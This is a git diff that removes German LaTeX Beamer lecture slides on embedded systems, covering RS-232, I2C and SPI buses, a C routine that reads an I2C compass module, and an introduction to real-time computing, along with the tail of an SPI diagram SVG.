- xml:space="preserve"><tspan - y="30.724487" - x="120" - id="tspan3063" - sodipodi:role="line">SCLK</tspan><tspan - id="tspan3065" - y="45.724487" - x="120" - sodipodi:role="line">MOSI</tspan><tspan - id="tspan3067" - y="60.724487" - x="120" - sodipodi:role="line">MISO</tspan><tspan - id="tspan2675" - y="75.724487" - x="120" - sodipodi:role="line">SS</tspan></text> - <path - id="path2694" - d="M 105.55543,64.540399 L 118.77418,64.540399" - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - </g> - <g - id="g3920"> - <rect - y="12.768347" - x="226.85843" - height="72.187675" - width="118.28313" - id="rect3084" - style="fill:#b9e179;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74999273px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - <text - sodipodi:linespacing="125%" - id="text3086" - y="45.712769" - x="320" - style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="45.712769" - x="320" - id="tspan3088" - sodipodi:role="line">SPI</tspan><tspan - id="tspan3090" - y="60.712769" - x="320" - sodipodi:role="line">Slave</tspan></text> - <text - id="text3092" - y="30.724487" - x="236" - style="font-size:12px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="30.724487" - x="236" - id="tspan3094" - sodipodi:role="line">SCLK</tspan><tspan - id="tspan3096" - y="45.724487" - x="236" - sodipodi:role="line">MOSI</tspan><tspan - id="tspan3098" - y="60.724487" - x="236" - sodipodi:role="line">MISO</tspan><tspan - id="tspan3100" - y="75.724487" - x="236" - sodipodi:role="line">SS</tspan></text> - <path - id="path3863" - d="M 236.89062,64.500006 L 250.10937,64.500006" - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - </g> - <g - id="g3899"> - <rect - y="103.46392" - x="226.87628" - height="72.187675" - width="118.28313" - id="rect1462" - style="fill:#8fbbdf;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74999273px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - <text - sodipodi:linespacing="125%" - id="text1464" - y="136.40834" - x="320.01785" - style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="136.40834" - x="320.01785" - id="tspan1466" - sodipodi:role="line">SPI</tspan><tspan - id="tspan1468" - y="151.40834" - x="320.01785" - sodipodi:role="line">Slave</tspan></text> - <text - id="text1470" - y="121.42006" - x="236.01785" - style="font-size:12px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="121.42006" - x="236.01785" - id="tspan1472" - sodipodi:role="line">SCLK</tspan><tspan - id="tspan1474" - y="136.42006" - x="236.01785" - sodipodi:role="line">MOSI</tspan><tspan - id="tspan1476" - y="151.42006" - x="236.01785" - sodipodi:role="line">MISO</tspan><tspan - id="tspan1478" - y="166.42006" - x="236.01785" - sodipodi:role="line">SS</tspan></text> - <path - id="path3865" - d="M 236.95312,154.875 L 250.17187,154.875" - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - </g> - <g - id="g3878"> - <rect - y="194.15945" - x="226.87628" - height="72.187675" - width="118.28313" - id="rect1482" - style="fill:#bfa1d1;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74999273px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - <text - sodipodi:linespacing="125%" - id="text1484" - y="227.10387" - x="320.01785" - style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="227.10387" - x="320.01785" - id="tspan1486" - sodipodi:role="line">SPI</tspan><tspan - id="tspan1488" - y="242.10387" - x="320.01785" - sodipodi:role="line">Slave</tspan></text> - <text - id="text1490" - y="212.11559" - x="236.01785" - style="font-size:12px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="212.11559" - x="236.01785" - id="tspan1492" - sodipodi:role="line">SCLK</tspan><tspan - id="tspan1494" - y="227.11559" - x="236.01785" - sodipodi:role="line">MOSI</tspan><tspan - id="tspan1496" - y="242.11559" - x="236.01785" - sodipodi:role="line">MISO</tspan><tspan - id="tspan1498" - y="257.11559" - x="236.01785" - sodipodi:role="line">SS</tspan></text> - <path - id="path3867" - d="M 236.82812,245.75 L 250.04687,245.75" - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - </g> - </g> -</svg> diff --git a/20161110/Telefon_t-sinus-700.jpg b/20161110/Telefon_t-sinus-700.jpg deleted file mode 120000 index 27c322c50b0f05edc8b07cfb0cc99b1876eb506d..0000000000000000000000000000000000000000 --- a/20161110/Telefon_t-sinus-700.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/Telefon_t-sinus-700.jpg \ No newline at end of file diff --git a/20161110/a380.jpg b/20161110/a380.jpg deleted file mode 120000 index 33a5d1fd18843bf7385e5a6d90f69af9fd8720da..0000000000000000000000000000000000000000 --- a/20161110/a380.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/a380.jpg \ No newline at end of file diff --git a/20161110/curiosity.jpg b/20161110/curiosity.jpg deleted file mode 120000 index 4452844da537414b751c5283ca8468b3ced9afb3..0000000000000000000000000000000000000000 --- a/20161110/curiosity.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/curiosity.jpg \ No newline at end of file diff --git a/20161110/dsc_8208.jpg b/20161110/dsc_8208.jpg deleted file mode 120000 index 5796341ebc774aa09965a3a29854c65ce1144fb8..0000000000000000000000000000000000000000 --- a/20161110/dsc_8208.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/dsc_8208.jpg \ No newline at end of file diff --git a/20161110/es-20161110.pdf b/20161110/es-20161110.pdf deleted file mode 100644 index cf001d9958e81dc1da3fb2bbe7f8fb67f16f87a3..0000000000000000000000000000000000000000 Binary files a/20161110/es-20161110.pdf and /dev/null differ diff --git a/20161110/es-20161110.tex b/20161110/es-20161110.tex deleted file mode 100644 index 5e679492c466b4768eb691ba78ff1510296fed6f..0000000000000000000000000000000000000000 --- a/20161110/es-20161110.tex +++ /dev/null @@ -1,2181 +0,0 @@ -% es-20161006.pdf - Lecture Slides on Software Development for Embedded Systems -% Copyright (C) 2013, 2014, 2015, 2016 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{rotating} -\usepackage{tikz} -\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx} - -\newrgbcolor{lightyellow}{0.95 0.85 0.0} -\newrgbcolor{lightorange}{1.0 0.7 0.0} -\newrgbcolor{lightgreen}{0.0 0.8 0.0} - -\newcommand{\underconstruction}{% - \begin{picture}(0,0) - \put(9,0.3){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}} - \put(9,0.0){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}} - \end{picture}} - -\title{Eingebettete Systeme} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{10.\ November 2016} - -\newcommand{\ItwoC}{I\raisebox{0.5ex}{\footnotesize 2}C} - -\begin{document} - -\newlength{\normalpdfpageheight} -\setlength{\normalpdfpageheight}{\pdfpageheight} - -\maketitleframe - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Was sind eingebettete Systeme?} - \item[\textbf{2}] \textbf{Einführung in Unix} - \item[\textbf{3}] \textbf{Arrays und Pointer für Fortgeschrittene} - \item[\textbf{4}] \textbf{TCP/IP-Netzwerke in der Praxis} - \item[\textbf{5}] \textbf{Bus-Systeme} - \begin{itemize} - \color{red} - \item[5.1] Was sind Bus-Systeme? - \item[5.2] RS-232 - \item[5.3] \ItwoC\ (TWI) - \item[5.4] SPI - \item[5.5] Beispiel: Benutzung des \ItwoC-Busses - \end{itemize} - \item[\textbf{6}] \textbf{Echtzeit} - \begin{itemize} - \item[5.1] Was ist Echtzeit? - \item[5.2] Echtzeitprogrammierung - \item[5.3] Multitasking - \item[5.4] Ressourcen - \item[5.5] Prioritäten - \end{itemize} - \end{itemize} - -\end{frame} - -\setcounter{section}{4} -\section{Bus-Systeme} -\subsection{Was sind Bus-Systeme?} - -\begin{frame} - \showsection - \showsubsection - - \begin{quote} - Ein Bus ist ein System zur Datenübertragung zwischen mehreren - Teilnehmern über einen gemeinsamen Übertragungsweg. -% \color{gray} -% Findet eine Datenübertragung zwischen zwei Teilnehmern statt, so -% müssen die übrigen Teilnehmer schweigen, da sie sich sonst -% gegenseitig stören würden. Umgangssprachlich werden mitunter -- -% oft aus historischen Gründen – auch Datenübertragungssysteme als -% "`Bus"' bezeichnet, die technisch eigentlich eine andere -% Topologie besitzen. - - \medskip - - \strut\hfill\url{https://de.wikipedia.org/wiki/Bus_(Datenverarbeitung)} - \end{quote} - Beispiele: - \begin{itemize} - \item - Computer kommuniziert mit Peripherie - \item - Computer kommunizieren (direkt) miteinander - \item - Prozessor kommuniziert mit externem Speicher - \item - Teile eines Prozessors kommunizieren miteinander - \end{itemize} -\end{frame} - -\begin{frame} - \showsection - \showsubsection - Standard-Computer: - \begin{itemize} - \item - Einsteckkarten: PCI (und Vorgänger) - \item - Festplatten: SATA (und Vorgänger) - \item - USB, FireWire, \dots - \item - Ethernet, CAN-Bus, \dots - \item - WLAN, BlueTooth, IR, \dots - \item - PS/2, RS-232, Centronics - \end{itemize} - - \medskip - - Minimal-Hardware: - \begin{itemize} - \item - RS-232 - \item - \ItwoC\ (TWI) - \item - SPI - \end{itemize} - - \begin{onlyenv}<1> - \begin{picture}(0,0) - \put(5,1.5){\includegraphics[height=3cm]{motherboard-anschluesse.jpg}} - \end{picture} - \end{onlyenv} - \begin{onlyenv}<2> - \begin{picture}(0,0)(-1.3,-4) - \put(1.8,-4.9){\includegraphics[height=3.5cm]{kompassmodul-an-roboter.jpg}} - \put(6.1,-3.3){\includegraphics[height=4.5cm]{kompassmodul.jpg}} - \put(6.1,1.2){\makebox(0,0)[tr]{\tikz{\draw(0,0)--(-1.9,-3.6);}}} - \put(6.1,-3.3){\makebox(0,0)[br]{\tikz{\draw(0,0)--(-1.8,0.2);}}} - \end{picture} - \end{onlyenv} -\end{frame} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \vspace*{-\bigskipamount} - \begin{tabbing} - \newterm{Punkt-zu-Punkt}\quad\=\kill - \newterm{seriell} \> jedes Bit einzeln übertragen\\ - \newterm{parallel} \> mehrere Bits gleichzeitig\\[\smallskipamount] - \newterm{synchron} \> Abgleich über Steuerleitung: \newterm{Takt}\\ - \newterm{asynchron} \> Abgleich über Zeitvereinbarungen\\[\smallskipamount] - \newterm{Punkt-zu-Punkt} \> genau zwei Teilnehmer\\ - \newterm{busfähig} \> mehrere Teilnehmer, mit \newterm{Adressierung} - \end{tabbing} - - \begin{itemize} - \item - \ItwoC: seriell, synchron, mit Adressierung - \item - RS-232: seriell, asynchron, Punkt-zu-Punkt - \item - RS-485, USB, CAN: seriell, asynchron, mit Adressierung - \item - SPI: seriell, synchron, Punkt-zu-Punkt oder mit Adressierung - \end{itemize} - -\end{frame} - -\subsection{RS-232} - -\begin{frame} - \showsection - \showsubsection - - seriell - \begin{itemize} - \item - \newterm{TX\/}: 1 Leitung für Daten - \item - \newterm{RX\/}: ggf.\ 1 Leitung für Daten in der anderen Richtung - \item - \newterm{GND\/}: gemeinsame \newterm{Masse} - \item - evtl.\ zusätzliche Steuerleitungen - \end{itemize} - - \medskip - - synchron - \begin{itemize} - \item - \emph{keine\/} Taktleitung für Abgleich, wann Daten anliegen - \item - Stattdessen: Abgleich über Zeitvereinbarungen - \arrowitem - Jeder Teilnehmer braucht eine eigene Zeitbasis. - \end{itemize} - - \medskip - - Punkt-zu-Punkt - \begin{itemize} - \item - nur 2 Teilnehmer vorgesehen - \end{itemize} -\end{frame} - -\begin{frame} - \showsubsection - \vspace*{-0.35cm} - \begin{center} - \includegraphics[scale=0.9]{rs-232.pdf} - \end{center} -\end{frame} - -\subsection{\protect\ItwoC\ (TWI)} - -\begin{frame} - \showsection - \showsubsection - - \ItwoC\ = Inter-IC; TWI = Two-Wire-Interface - - \medskip - - seriell - \begin{itemize} - \item - \newterm{SDA\/}: 1 Leitung für Daten (in beiden Richtungen) - \item - \newterm{SCL\/}: Taktleitung (Clock) - \item - \newterm{GND\/}: gemeinsame Masse - \item - evtl.\ \newterm{VCC\/}: Stromversorgung für Peripheriegerät - \end{itemize} - - \medskip - - synchron - \begin{itemize} - \item - Abgleich über\\Taktleitung - \begin{picture}(0,0) - \put(0.4,-0.4){\includegraphics[width=9.7cm]{I2C_data_transfer.pdf}} - \end{picture} - \end{itemize} - - \medskip - - busfähig - \begin{itemize} - \item - \newterm{Master\/} initiiert Kommuniation und steuert Taktleitung - \item - erstes gesendetes Byte: \newterm{Adresse\/} des Teilnehmers - \item - 2 Adressen pro Teilnehmer: Lesen/Schreiben - \end{itemize} - \vspace*{-1cm} -\end{frame} - -\subsection{SPI} - -\begin{frame} - \showsection - \showsubsection - - Serial Peripheral Interface - - \medskip - - seriell - \begin{itemize} - \item - \newterm{MISO\/}: Master Out, Slave In - \item - \newterm{MOSI\/}: Master In, Slave Out - \item - \newterm{SCLK\/}: Taktleitung (Clock) - \item - \newterm{$\overline{\text{SS}}$\/}: Slave Select (invertiert) - \item - \newterm{GND\/}: gemeinsame Masse - \item - evtl.\ \newterm{VCC\/}: Stromversorgung für Peripheriegerät - \end{itemize} - - \medskip - - synchron - \begin{itemize} - \item - Abgleich über Taktleitung - \end{itemize} - - \medskip - - busfähig - \begin{itemize} - \item - \newterm{Master\/} initiiert Kommuniation und steuert Taktleitung - \item - \newterm{Slave\/} wird über \newterm{Slave Select\/} ausgewählt - \begin{picture}(0,0) - \only<1>{\put(-2.175,2.875){\includegraphics[scale=0.7]{SPI_single_slave.pdf}}} - \only<2>{\put(-2.0,3.0){\includegraphics[scale=0.7]{SPI_three_slaves.pdf}}} - \only<2>{\put(2.55,3.1){\begin{minipage}[t]{2.5cm} - \newterm{Stern} - \end{minipage}}} - \only<3->{\put(-2.0,3.0){\includegraphics[scale=0.7]{SPI_three_slaves_daisy_chained.pdf}}} - \only<3->{\put(2.55,3.1){\begin{minipage}[t]{2.5cm} - \newterm{Kaskade}\\ - \newterm{Daisy Chain}\pause[4]\par\smallskip - \setlength{\leftskip}{-3.5cm}\small - Slave gibt MOSI-Input um 1 Takt verzögert - an MISO aus \textarrow\ Master setzt - "`im richtigen Moment"' $\overline{\text{SS}}$ - \end{minipage}}} - \end{picture} - \end{itemize} - \vspace*{-1cm} - -\end{frame} - - -\subsection{Beispiel: Benutzung des \protect\ItwoC-Busses} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{picture}(0,0) - \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}} - \end{picture}% - - \begin{onlyenv}<1> - \begin{lstlisting}[gobble=6] - void read_compass (uint16_t *x, uint16_t *y) - { - I2CTWI_transmit2Bytes (0x60, 0x00, 0x02); // set coil - mSleep (1); - I2CTWI_transmit2Bytes (0x60, 0x00, 0x04); // reset coil - mSleep (5); - uint8_t result[5]; - I2CTWI_transmit2Bytes (0x60, 0x00, 0x01); // Messung starten - mSleep (5); // 5ms warten, bis Sensor fertig gemessen hat - I2CTWI_transmitByte (0x60, 0x01); // Leseindex setzen - I2CTWI_readBytes (0x61, result, 4); // lesen: msb x, lsb x, msb y, lsb y - result[0] &= 0b00001111; // Unwichtge Bits vom msb abschneiden - result[2] &= 0b00001111; - *x = (result[0] << 8) + result[1]; // Wert berechnen aus msb und lsb - *y = (result[2] << 8) + result[3]; - } - \end{lstlisting} - \end{onlyenv} - \begin{onlyenv}<2-3> - \begin{lstlisting}[gobble=6,style=shy] - ²void read_compass (uint16_t *x, uint16_t *y) - { ... } - - int main (void) - { - uint16_t compass_x, compass_y; - read_compass (&compass_x, &compass_y);¿ - ³writeInteger (compass_x, DEC); - writeChar (' '); - writeInteger (compass_y, DEC); - writeChar ('\n');¿ - ²return 0; - }¿ - \end{lstlisting} - \end{onlyenv} - \begin{onlyenv}<4-> - \begin{lstlisting}[gobble=6,style=shy] - °void read_compass (uint16_t *x, uint16_t *y) - { - I2CTWI_transmit2Bytes (0x60, 0x00, 0x02); // set coil - ¿mSleep (1); - I2CTWI_transmit2Bytes (0x60, 0x00, 0x04); // reset coil - mSleep (5); - uint8_t result[5]; - I2CTWI_transmit2Bytes (0x60, 0x00, 0x01); // Messung starten - mSleep (5); // 5ms warten, bis Sensor fertig gemessen hat - I2CTWI_transmitByte (0x60, 0x01); // Leseindex setzen - I2CTWI_readBytes (0x61, result, 4); // lesen: msb x, lsb x, msb y, lsb y - result[0] &= 0b00001111; // Unwichtge Bits vom msb abschneiden - result[2] &= 0b00001111; - *x = (result[0] << 8) + result[1]; // Wert berechnen aus msb und lsb - *y = (result[2] << 8) + result[3]; - °}¿ - \end{lstlisting} - \end{onlyenv} - \begin{onlyenv}<5-7> - \begin{picture}(0,0) - \color{red} - \put(3.85,5.3){\vector(1,1){0.5}} - \put(3.5,5.2){\makebox(0,0)[t]{\shortstack{Gerät adressieren:\\Schreib-Adresse}}} - \end{picture} - \end{onlyenv} - \begin{onlyenv}<6-7> - \begin{picture}(0,0) - \color{red} - \put(5.25,4.5){\vector(0,1){1.3}} - \put(5.25,4.4){\makebox(0,0)[t]{\shortstack{Register-Nr.\\innerhalb des Geräts}}} - \end{picture} - \end{onlyenv} - \begin{onlyenv}<7> - \begin{picture}(0,0) - \color{red} - \put(6.6,5.3){\vector(-1,1){0.5}} - \put(6.95,5.2){\makebox(0,0)[t]{Befehl: Spule an}} - \end{picture} - \end{onlyenv} - \vspace*{-2cm} - -\end{frame} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{picture}(0,0) - \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}} - \end{picture}% - - \begin{lstlisting}[style=shy] - ¡void read_compass (uint16_t *x, uint16_t *y) - { - I2CTWI_transmit2Bytes (0x60, 0x00, 0x02); // set coil - mSleep (1); - I2CTWI_transmit2Bytes (0x60, 0x00, 0x04); // reset coil - mSleep (5); - ¿²uint8_t result[5]; - I2CTWI_transmit2Bytes (0x60, 0x00, 0x01); // Messung starten - mSleep (5); // 5ms warten, bis Sensor fertig gemessen hat - ¿³I2CTWI_transmitByte (0x60, 0x01); // Leseindex setzen - ¿°I2CTWI_readBytes (0x61, result, 4); // lesen: msb x, lsb x, msb y, lsb y - result[0] &= 0b00001111; // Unwichtge Bits vom msb abschneiden - result[2] &= 0b00001111; - *x = (result[0] << 8) + result[1]; // Wert berechnen aus msb und lsb - *y = (result[2] << 8) + result[3]; - ¿¡}¿ - \end{lstlisting} - \vspace*{-2cm} - -\end{frame} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{picture}(0,0) - \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}} - \end{picture}% - Messung:\\ - Roboter im Kreis drehen lassen,\\ - x- und y-Werte aufzeichnen\\ - und gegeneinander auftragen - - \smallskip - Ergebnis: Ellipse - \begin{picture}(0,0)(0,0.5) - \put(5,-3){\includegraphics[height=4cm]{kompass-messung.png}} - \end{picture}% - - \bigskip - Anwendung:\\ - Roboter in eine Himmelsrichtung ausrichten - \begin{itemize} - \item - Achsen normieren:\\ - Mittelwert subtrahieren - \begin{picture}(0,0)(0,0.5) - \put(3.75,0.95){\vector(1,0){4}} - \put(7.55,0.90){\makebox(0,0)[t]{x}} - \put(5.75,-1.05){\vector(0,1){4}} - \put(5.75,2.95){\makebox(0,0)[r]{y}} - \end{picture}% - \item - Nulldurchgang einer Achse\\ - markiert eine Himmelsrichtung - \item - Vorzeichen der anderen Achse\\ - sagt aus, welche Himmelsrichtung - \end{itemize} - \vspace{-0.5cm} - \begin{flushright} - Beispiel: nach Norden ausrichten\\ - Grob drehen, bis $y$ positiv ist, - fein drehen, bis $x = 0$ ist - \end{flushright} -% $x = 0$, $y$ positiv: Norden\\ -% $x = 0$, $y$ negativ: Süden -% $y = 0$, $x < 0$: Westen -% $y = 0$, $x > 0$: Osten - \vspace*{-2cm} - -\end{frame} - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Was sind eingebettete Systeme?} - \item[\textbf{2}] \textbf{Einführung in Unix} - \item[\textbf{3}] \textbf{Arrays und Pointer für Fortgeschrittene} - \item[\textbf{4}] \textbf{TCP/IP-Netzwerke in der Praxis} - \item[\textbf{5}] \textbf{Bus-Systeme} - \begin{itemize} - \color{medgreen} - \item[5.1] Was sind Bus-Systeme? - \item[5.2] RS-232 - \item[5.3] \ItwoC\ (TWI) - \item[5.4] SPI - \item[5.5] Beispiel: Benutzung des \ItwoC-Busses - \end{itemize} - \item[\textbf{6}] \textbf{Echtzeit} - \begin{itemize} - \color{red} - \item[5.1] Was ist Echtzeit? - \item[5.2] Echtzeitprogrammierung - \item[5.3] Multitasking - \item[5.4] Ressourcen - \item[5.5] Prioritäten - \end{itemize} - \end{itemize} - -\end{frame} - -\section{Echtzeit} - -\subsection{Was ist Echtzeit?} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \pause - \item - Animation in Echtzeit:\\ - schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung - \pause - \medskip - \item - Fantasy-Rollenspiel in Echtzeit:\\ - Der Zeitverlauf der Spielwelt entspricht dem der realen Welt. - \pause - \medskip - \item - Datenverarbeitung in Echtzeit:\\ - Die Daten werden so schnell verarbeitet, wie sie anfallen. - \pause - \medskip - \item - speziell: Echtzeit-Steuerung von Maschinen:\\ - Die Berechnung kann mit den physikalischen Vorgängen schritthalten. - \pause - \bigskip - \arrowitem - "`Schnell genug."' - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - "`Schnell genug."' \pause-- "`Und wenn nicht?"' - - \pause - - \begin{itemize} - \item - "`Ganz schlecht."' \pause\textarrow\ \newterm{harte Echtzeit} - \begin{onlyenv}<4-8> - \begin{picture}(0,0)(0,-0.3) - \pause - \put(0,-4){\makebox(0,0)[br]{\includegraphics[height=3.5cm]{a380.jpg}}} - % http://de.wikipedia.org/w/index.php?title=Datei:Airbus_A380_overfly.jpg&filetimestamp=20111223141606 - \pause - \put(0.2,-3.9){\makebox(0,0)[bl]{\includegraphics[height=4.0cm]{quadrocopter.jpg}}} - %\put(0.2,-3.5){\makebox(0,0)[bl]{\includegraphics[height=3.5cm]{mercedes-benz-w116.jpg}}} - % http://commons.wikimedia.org/wiki/File:1973-1980_Mercedes-Benz_450_SEL_%28W116%29_sedan_%282010-12-28%29_01.jpg - \pause - \put(-0.5,-4.2){\makebox(0,0)[tr]{\includegraphics[height=3.5cm]{herzschrittmacher.jpg}}} - % http://de.wikipedia.org/w/index.php?title=Datei:Pacemaker_GuidantMeridianSR.jpg&filetimestamp=20051203173642 - \pause - \put(0,-4){\makebox(0,0)[tl]{\includegraphics[height=3.5cm]{curiosity.jpg}}} - % http://mars.jpl.nasa.gov/msl/news/whatsnew/index.cfm?FuseAction=ShowNews&NewsID=1344 - \end{picture} - \end{onlyenv} - \pause\\[2pt] - rechtzeitiges Ergebnis funktionsentscheidend - - \smallskip - - \pause - \item - "`Unschön."' \textarrow\ \newterm{weiche Echtzeit} - \begin{onlyenv}<10-12> - \begin{picture}(0,0)(0,0.3) - \pause - \put(0,-4){\makebox(0,0)[br]{\includegraphics[width=5cm]{Retribution_Engine_Screenshot_120807.jpg}}} - % http://en.wikipedia.org/wiki/File:Retribution_Engine_Screenshot_120807.jpg - \pause - \put(0.1,-4.5){\makebox(0,0)[bl]{\includegraphics[width=5cm]{Telefon_t-sinus-700.jpg}}} - % http://de.wikipedia.org/w/index.php?title=Datei:Telefon_t-sinus-700.jpg&filetimestamp=20050807203655 - \end{picture} - \end{onlyenv} - \pause\\[2pt] - verspätetes Ergebnis qualitätsmindernd - \begin{itemize} - \baselineskip14pt\par - \item - verwenden und Verzögerung in Kauf nehmen - \item - verwerfen und Ausfall in Kauf nehmen - \end{itemize} - - \smallskip - - \pause - \item - "`Es gibt keinen festen Termin. Möglichst schnell halt."'\pause\\[2pt] - \textarrow\ \newterm{keine Echtzeit} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Das Problem: - \vspace{-\bigskipamount} - \begin{center} - \begin{picture}(6,2) - \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} - \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} -% \put(2.75,0.875){\vector(1,3){0.25}} -% \put(2.75,0.875){\line(2,1){0.5}} -% \put(3.25,1.125){\vector(-1,-3){0.25}} - \put(2.70,0.350){\tikz{\draw[latex-latex](0.25,0.625)--(0,-0.12)--(0.5,0.12)--(0.25,-0.625);}} - \end{picture} -% \begin{pdfpic} -% \begin{pspicture}(6,2) -% \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} -% \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} -% \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) -% \end{pspicture} -% \end{pdfpic} - \end{center} - - \pause - - Beispiel: - \begin{itemize} - \item - Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\ - dessen Berechnung maximal \SI{10}{\mics} dauert. - \pause[3] - \item - Entweder: Der Steuer-Computer macht noch andere Dinge.\\ - \textarrow\ Risiko der Zeitüberschreitung - \pause - \item - Oder: Der Steuer-Computer macht nichts anderes.\\ - \textarrow\ Verschwendung von Rechenzeit\\ - \pause - {\color{red}\textarrow\ Na und?} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Das Problem: - \vspace{-\bigskipamount} - \begin{center} - \begin{picture}(6,2) - \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} - \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} -% \put(2.75,0.875){\vector(1,3){0.25}} -% \put(2.75,0.875){\line(2,1){0.5}} -% \put(3.25,1.125){\vector(-1,-3){0.25}} - \put(2.70,0.350){\tikz{\draw[latex-latex](0.25,0.625)--(0,-0.12)--(0.5,0.12)--(0.25,-0.625);}} - \end{picture} -% \begin{pdfpic} -% \begin{pspicture}(6,2) -% \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} -% \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} -% \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) -% \end{pspicture} -% \end{pdfpic} - \end{center} - - \medskip - - {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}} - - \medskip - - \pause - Große Stückzahlen - \begin{itemize} - \item - 138\,000 Toyota Prius V von Mai 2011 bis April 2012 - \end{itemize} - - \medskip - - \pause - Wertvolle Ressourcen - \begin{itemize} - \item - Fähigkeiten einer Raumsonde optimieren - % (Marsumlaufbahn: ab ca.~127\,000 Euro pro kg) - % 70000000 / 550000 = 127._27 - % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/ - \only<.(1)>{\\[\medskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.3cm]{curiosity.jpg}}\vspace*{-1cm}} - \pause - \item - Implantat: Platz- und Stromverbrauch minimieren - \only<.(1)>{\\\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}\vspace*{-1cm}} - \end{itemize} - - \bigskip - - \pause - \textarrow\ 